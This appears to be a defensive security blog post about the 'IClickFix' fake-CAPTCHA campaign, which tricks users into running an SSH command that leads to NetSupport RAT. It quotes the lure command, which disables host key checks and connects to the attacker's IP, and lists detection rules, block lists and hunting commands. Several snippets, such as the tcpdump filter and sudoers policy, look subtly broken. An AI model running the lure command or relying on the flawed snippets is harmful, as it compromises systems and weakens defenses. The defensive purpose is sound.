Listen to this Post
Introduction:
Cybercriminals are constantly refining social engineering techniques to bypass traditional security controls. The IClickFix campaign now employs a deceptive fake CAPTCHA that instructs victims to copy and execute a crafted SSH command, disabling strict host key checking and suppressing errors to establish a covert connection to a malicious server (91.92.33.149) which then delivers a PowerShell payload that downloads NetSupport RAT, granting attackers remote access to compromised systems.
Learning Objectives:
- Understand how the IClickFix campaign leverages fake CAPTCHA interfaces to trick users into executing malicious SSH commands.
- Learn to detect and block unauthorized SSH connections with disabled host key checking using Linux and Windows security tools.
- Implement forensic and defensive measures to identify NetSupport RAT execution and prevent similar social engineering attacks.
You Should Know:
- Deconstructing the Malicious SSH Command and Its Dangers
The attack begins when a victim, prompted by a fake CAPTCHA, copies a command similar to:
`ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR [email protected]`
Each option serves a malicious purpose:
– `StrictHostKeyChecking=no` – Prevents SSH from aborting if the remote host key is unknown or mismatched, bypassing a critical trust verification.
– `UserKnownHostsFile=/dev/null` – Discards the remote host key without saving it, leaving no trace of the connection.
– `LogLevel=ERROR` – Suppresses all SSH connection messages except fatal errors, hiding the attack from casual console monitoring.
– The connection to `[email protected]` then returns a PowerShell command that downloads and executes NetSupport RAT, often from a compromised or disposable domain.
Step‑by‑step guide to analyze and block this technique:
On Linux (detection and prevention):
Monitor SSH commands being executed (audit logs) sudo auditctl -a always,exit -S execve -k ssh-commands Search for suspicious SSH options in process lists ps aux | grep -E "ssh.StrictHostKeyChecking=no.UserKnownHostsFile=/dev/null" Block outbound SSH to the specific malicious IP sudo iptables -A OUTPUT -d 91.92.33.149 -p tcp --dport 22 -j DROP Or with nftables sudo nft add rule ip filter OUTPUT ip daddr 91.92.33.149 tcp dport 22 drop Prevent users from using dangerous SSH options via wrapper script (example) Create /usr/local/bin/ssh-wrapper with: !/bin/bash if [[ "$" =~ "StrictHostKeyChecking=no" ]] || [[ "$" =~ "UserKnownHostsFile=/dev/null" ]]; then echo "Blocked: Insecure SSH options detected" | logger -t ssh-block exit 1 fi exec /usr/bin/ssh "$@" Then alias or replace /usr/bin/ssh accordingly
On Windows (PowerShell logging and network blocking):
Enable PowerShell script block logging to capture malicious commands Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 Block outbound SSH (port 22) to the malicious IP using Windows Firewall New-NetFirewallRule -DisplayName "Block IClickFix SSH" -Direction Outbound -RemoteAddress 91.92.33.149 -Protocol TCP -LocalPort 22 -Action Block Monitor for ssh.exe execution with insecure flags via Sysmon (install Sysmon first) Add to Sysmon config: <ProcessCreate onmatch="include" commandline=".ssh.StrictHostKeyChecking=no."/>
2. Detecting NetSupport RAT Execution and Persistence
Once the SSH tunnel returns the PowerShell payload, NetSupport RAT (often named `client32.exe` or nrsvc.exe) is downloaded and executed. Indicators include unusual outbound connections on TCP ports 5400, 5401, or 5500, registry modifications, and rogue services.
Step‑by‑step detection and removal:
Linux (if a Linux endpoint is targeted or you are inspecting a Windows host remotely):
Use YARA rules to scan for NetSupport RAT binaries (example rule snippet) yara -r netsupport_rule.yar /path/to/suspected/files Monitor network connections for NetSupport default ports sudo netstat -tunap | grep -E ':5400|:5401|:5500' If using Zeek (formerly Bro) on your network gateway, detect RAT traffic: zeek -r traffic.pcap -C local "notice" Custom script: check for long-lived connections on unusual high ports
On Windows (primary target):
Find NetSupport processes by known names
Get-Process -Name "client32", "nrsvc", "NetSupport", "NSM" -ErrorAction SilentlyContinue
Check for scheduled tasks or services created by NetSupport
Get-ScheduledTask | Where-Object {$<em>.TaskName -like "NetSupport" -or $</em>.Actions.Execute -like "client32"}
Get-Service | Where-Object {$<em>.DisplayName -like "NetSupport" -or $</em>.ServiceName -like "NSM"}
Query registry for persistence (run keys, Winlogon, etc.)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s | findstr /i "netsupport"
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s | findstr /i "netsupport"
Kill and remove detected RAT (admin required)
Stop-Process -Name "client32" -Force -ErrorAction SilentlyContinue
sc.exe stop "NetSupport Manager" ; sc.exe delete "NetSupport Manager"
Block NetSupport RAT domains (example – update from threat intel)
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "0.0.0.0 nrsupport.com" Not exhaustive, use proper EDR
3. Hardening SSH Configurations Across the Enterprise
To prevent users from unknowingly executing insecure SSH commands, system administrators must enforce strict SSH client configurations and deploy application whitelisting.
Step‑by‑step hardening:
Linux (global and per-user restrictions):
Edit /etc/ssh/ssh_config to remove or comment dangerous options globally Add lines to restrict: Host StrictHostKeyChecking ask or 'yes' for mandatory verification UserKnownHostsFile ~/.ssh/known_hosts LogLevel INFO Prevent users from overriding via command line by using a restrictive sudo policy In /etc/sudoers.d/ssh-restrict: Defaults env_keep += "SSH_OPTIONS" Cmnd_Alias SSH_CMDS = /usr/bin/ssh User_Alias USERS = %users USERS ALL=(ALL) !SSH_CMDS Deny direct ssh unless overridden; adjust as needed Deploy an SSH wrapper that checks for banned arguments (see Section 1 wrapper)
Windows (OpenSSH client configuration):
For Windows OpenSSH client, edit %USERPROFILE%.ssh\config or system-wide Add the following to C:\ProgramData\ssh\ssh_config (system-wide) StrictHostKeyChecking ask UserKnownHostsFile ~/.ssh/known_hosts LogLevel INFO Use AppLocker to block ssh.exe execution from untrusted locations or with specific arguments Create a rule: Deny execution of ssh.exe if command line contains "StrictHostKeyChecking=no" (AppLocker does not natively support argument filtering – use PowerShell script auditing + WDAC instead)
4. User Awareness and Fake CAPTCHA Mitigation
Social engineering remains the primary entry vector. Train users to recognize that legitimate CAPTCHAs never require copying and pasting commands into a terminal or Run dialog.
Step‑by‑step awareness and technical controls:
- Simulate fake CAPTCHA attacks internally using red team tools to educate users.
- Deploy browser extensions that block clipboard access from untrusted scripts (e.g., NoScript, uBlock Origin in medium mode).
- Use endpoint detection rules to alert when a process like
ssh.exe,powershell.exe, or `cmd.exe` is launched immediately after a clipboard read event from a browser.
Example Sigma rule (simplified):
title: Suspicious SSH from Browser Clipboard status: experimental logsource: product: windows service: security detection: selection: EventID: 4688 CommandLine|contains: 'ssh' ParentProcessName|endswith: '\chrome.exe' or '\firefox.exe' condition: selection
– Implement clipboard monitoring for sensitive strings (e.g., “ssh”, “StrictHostKeyChecking”) and block pasting into terminals.
Note: This can impact usability – apply only to high‑risk environments.
5. Incident Response Playbook for IClickFix SSH Abuse
When a suspected infection is identified, follow this IR procedure to contain, eradicate, and recover.
Step‑by‑step IR guide:
- Isolate the host from the network (disable NIC or block via EDR).
2. Capture forensic artifacts:
- SSH client logs: `~/.ssh/` on Linux, `%USERPROFILE%\.ssh\` on Windows.
- PowerShell operational log:
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -like "NetSupport"}. - Prefetch files for `ssh.exe` and
client32.exe.
- Extract the malicious PowerShell payload from memory or network logs. Use `netsh trace` or Wireshark to capture the SSH session return data.
- Search for lateral movement – NetSupport RAT often allows remote control; check for new local admin accounts or RDP enablement.
- Rebuild the host from a clean image after removing persistence mechanisms (services, scheduled tasks, WMI event subscriptions).
6. Network-Level Detection and Blocking
Proactively block the attacker’s infrastructure and detect similar SSH tunneling behavior.
Commands for network administrators:
Block the entire /24 or specific IP range of the attacker (91.92.33.0/24) sudo iptables -A FORWARD -d 91.92.33.0/24 -p tcp --dport 22 -j DROP Block on Cisco routers (ACL example) access-list 100 deny tcp any host 91.92.33.149 eq 22 access-list 100 permit ip any any Use Snort/Suricata signature to detect SSH with disabled host key checking alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"IClickFix Suspicious SSH Options"; content:"StrictHostKeyChecking=no"; content:"UserKnownHostsFile=/dev/null"; sid:1000001; rev:1;) Monitor DNS for domains associated with NetSupport RAT download (example – update via threat intel feeds) tcpdump -i eth0 -n -s 0 'udp port 53 and (dst net 91.92.33.0/24 or (domain contains "netsupport" or "rat"))'
What Undercode Say:
- Social engineering evolves faster than patching – Fake CAPTCHA techniques bypass technical controls by targeting human behavior; user training and application whitelisting are critical countermeasures.
- SSH is not just for sysadmins – Attackers increasingly abuse built-in tools like SSH, PowerShell, and BITSAdmin to evade detection. Monitoring command-line arguments for dangerous flags (e.g.,
StrictHostKeyChecking=no) must become a standard detection rule.
The IClickFix campaign demonstrates that simple, creative modifications to existing attack chains can defeat many security products that only look for known malware signatures. By abusing SSH – a protocol often allowed outbound for legitimate administration – attackers gain a stealthy command channel. Defenders must shift focus to behavior‑based detection: anomalous parent–child process relationships (browser launching SSH), command‑line anomalies, and unexpected outbound connections on port 22. Implementing a default‑deny policy for executing SSH with insecure options, combined with robust PowerShell logging, will neutralize this specific technique. Additionally, organizations should enrich threat intelligence feeds with indicators like the malicious IP `91.92.33.149` and any newly observed domains hosting NetSupport RAT payloads. Finally, remember that the fake CAPTCHA is only the lure; the real damage occurs post‑execution. Regular tabletop exercises simulating this attack can drastically reduce response times.
Prediction:
As ClickFix campaigns mature, attackers will likely automate the generation of unique SSH command strings per victim, embed them in QR codes to bypass clipboard monitoring, and rotate malicious IPs faster than blocklists can update. We will also see cross‑platform variants targeting macOS with `ssh` and osascript, as well as Linux desktops using `gnome-terminal` command injection. To stay ahead, security teams must adopt Zero Trust principles that treat every outbound SSH connection as suspicious unless explicitly approved via a jump host or bastion with mandatory host key verification. Expect vendors to release specific detections for `ssh` with `StrictHostKeyChecking=no` as a high‑severity alert, and regulatory frameworks may soon require audits of SSH client configurations across all endpoints.
▶️ Related Video (64% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Daniel B1 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
